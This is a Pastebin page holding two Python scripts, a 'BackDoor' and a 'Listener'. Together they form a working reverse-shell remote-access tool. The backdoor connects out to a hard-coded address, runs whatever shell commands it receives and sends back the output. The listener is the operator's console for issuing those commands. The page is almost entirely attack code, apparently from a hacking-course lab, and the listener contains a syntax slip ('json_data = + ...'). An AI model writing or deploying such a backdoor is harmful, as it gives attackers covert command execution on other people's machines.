Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- BackDoor:
- #!/usr/bin/env python
- import socket
- import subprocess
- import json
- class Backdoor:
- def __init__(self, ip, port):
- self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.connection.connect((ip, port))
- def reliable_send(self, data):
- json_data = json.dumps(data)
- self.connection.send(json_data)
- def reliable_receive(self):
- json_data = ""
- while True:
- try:
- json_data = json_data + self.connection.recv(1024)
- return json.loads(json_data)
- except ValueError:
- continue
- def execute_system_command(self, command):
- return subprocess.check_output(command, shell=True)
- def run(self):
- while True:
- command = self.reliable_receive()
- command_result = self.execute_system_command(command)
- self.reliable_send(command_result)
- self.connection.close()
- my_backdoor = Backdoor("192.168.110.128", 8080)
- my_backdoor.run()
- Listener:
- !/usr/bin/python
- import socket, json
- class Listener:
- def __init__(self, ip, port):
- listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- listener.bind((ip, port))
- listener.listen(0)
- print("[+] Waiting for incoming connections")
- self.connection, address = listener.accept()
- print("[+] Got a connection from " + str(address))
- def reliable_send(self, data):
- json_data = json.dumps(data)
- self.connection.send(json_data)
- def reliable_receive(self):
- json_data = ""
- while True:
- try:
- json_data = + self.connection.recv(1024)
- return json.loads(json_data)
- except ValueError:
- continue
- def execute_remotely(self, command):
- self.reliable_send(command)
- return self.reliable_receive()
- def run(self):
- while True:
- command = raw_input(">> ")
- result = self.execute_remotely(command)
- print(result)
- my_listener = Listener("192.168.110.128", 8080)
- my_listener.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement